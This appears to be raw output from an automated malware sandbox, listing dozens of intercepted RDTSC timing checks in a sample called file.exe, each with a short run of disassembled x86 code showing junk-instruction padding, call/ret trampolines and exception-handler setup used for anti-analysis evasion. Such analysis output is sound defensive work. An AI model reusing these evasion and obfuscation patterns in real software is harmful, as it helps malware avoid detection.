Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEBA6 second address: 9FEBB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEBB2 second address: 9FEBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6849049226h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A002FD second address: A0030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F684908B756h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0030F second address: A00315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00315 second address: A003A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F684908B758h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D3423h], edi 0x0000002a push 00000000h 0x0000002c jp 00007F684908B758h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F684908B758h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e or dword ptr [ebp+122D1DDAh], ebx 0x00000054 xchg eax, ebx 0x00000055 jmp 00007F684908B765h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jnc 00007F684908B758h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05541 second address: A05547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05547 second address: A055F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F684908B758h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov bx, 09C5h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F684908B758h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 pushad 0x00000047 jmp 00007F684908B760h 0x0000004c js 00007F684908B768h 0x00000052 jmp 00007F684908B762h 0x00000057 popad 0x00000058 jng 00007F684908B75Ch 0x0000005e xor dword ptr [ebp+122D2280h], ecx 0x00000064 push 00000000h 0x00000066 call 00007F684908B75Ch 0x0000006b pop ebx 0x0000006c xchg eax, esi 0x0000006d push ebx 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05712 second address: A05718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05718 second address: A0571C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0571C second address: A05720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9664 second address: 9B9670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jc 00007F684908B756h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05720 second address: A0574D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jbe 00007F684904922Ch 0x00000010 jg 00007F6849049226h 0x00000016 pushad 0x00000017 jmp 00007F6849049234h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9670 second address: 9B9674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0574D second address: A057BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D3AB7h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr fs:[00000000h], esp 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F6849049228h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 sbb ebx, 0BA96A12h 0x0000003b mov eax, dword ptr [ebp+122D0425h] 0x00000041 sbb ebx, 334BA29Bh 0x00000047 push FFFFFFFFh 0x00000049 mov edi, dword ptr [ebp+122D3B7Bh] 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F6849049232h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057BC second address: A057C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08BCE second address: A08BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049233h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057C2 second address: A057C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ABEF second address: A0ABF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09DC3 second address: A09DD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ABF3 second address: A0ABF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ABF9 second address: A0AC0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684908B761h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AC0E second address: A0AC12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BC17 second address: A0BC26 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BC26 second address: A0BC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F6849049228h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 jg 00007F684904922Ch 0x00000029 push 00000000h 0x0000002b mov di, ax 0x0000002e xchg eax, esi 0x0000002f push edi 0x00000030 jo 00007F6849049228h 0x00000036 pushad 0x00000037 popad 0x00000038 pop edi 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F684904922Ch 0x00000040 push eax 0x00000041 push edx 0x00000042 push edi 0x00000043 pop edi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BC7A second address: A0BC7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DC35 second address: A0DC3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6849049226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E224 second address: A0E26D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F684908B758h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F684908B758h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D3588h], esi 0x00000036 push 00000000h 0x00000038 add dword ptr [ebp+124565F9h], ebx 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E26D second address: A0E271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BED3 second address: A0BEDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1229F second address: A122B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F684904922Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A122B6 second address: A122C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F684908B756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A122C0 second address: A12305 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F6849049228h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 pushad 0x00000024 sbb ebx, 3F9BB2A6h 0x0000002a mov ebx, dword ptr [ebp+122D3BB3h] 0x00000030 popad 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 mov bh, 45h 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jns 00007F6849049228h 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A131DE second address: A131E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A131E3 second address: A13252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6849049228h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov di, 0554h 0x00000028 jnc 00007F684904922Ch 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F6849049228h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov di, si 0x0000004d push 00000000h 0x0000004f mov edi, dword ptr [ebp+122D3B7Bh] 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13252 second address: A13258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13258 second address: A1325E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1325E second address: A13277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F684908B75Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A105DE second address: A105E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12479 second address: A1248B instructions: 0x00000000 rdtsc 0x00000002 je 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F684908B756h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15288 second address: A152A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6849049238h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A152A7 second address: A15338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007F684908B763h 0x00000011 pop edi 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D3664h], ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F684908B758h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 cmc 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F684908B758h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 jmp 00007F684908B763h 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F506 second address: A0F50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F50E second address: A0F51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jnp 00007F684908B756h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1340C second address: A13410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1351A second address: A13541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jl 00007F684908B756h 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F684908B763h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14457 second address: A1445D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154A3 second address: A154BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B763h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154BB second address: A154CE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6849049228h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154CE second address: A154D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154D2 second address: A154E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049232h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154E8 second address: A154F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F684908B756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A154F2 second address: A15599 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049234h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F6849049228h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D1E45h] 0x0000002c push dword ptr fs:[00000000h] 0x00000033 jmp 00007F684904922Eh 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov eax, dword ptr [ebp+122D04C9h] 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F6849049228h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 0000001Dh 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f push FFFFFFFFh 0x00000061 clc 0x00000062 mov edi, dword ptr [ebp+122D394Fh] 0x00000068 nop 0x00000069 jo 00007F6849049232h 0x0000006f jno 00007F684904922Ch 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push ebx 0x00000079 pushad 0x0000007a popad 0x0000007b pop ebx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18B96 second address: A18BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F684908B769h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F684908B768h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18BD4 second address: A18BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F6849049237h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE7D0 second address: 9BE7F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F684908B765h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE7F1 second address: 9BE7F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE7F5 second address: 9BE7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE7FF second address: 9BE816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6849049233h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F3A4 second address: A1F3AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F684908B756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F652 second address: A1F659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A0E second address: A24A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B767h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F684908B760h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A4A second address: A24A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A4E second address: A24A5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A5C second address: A24A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A60 second address: A24A83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F684908B75Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29772 second address: A2977E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6849049226h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2977E second address: A29784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A284B9 second address: A284D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6849049234h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A284D2 second address: A284DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28A9B second address: A28AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28D24 second address: A28D2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28D2D second address: A28D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28D37 second address: A28D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B764h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28D51 second address: A28D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28EA2 second address: A28ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F684908B763h 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F684908B767h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28ED6 second address: A28EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
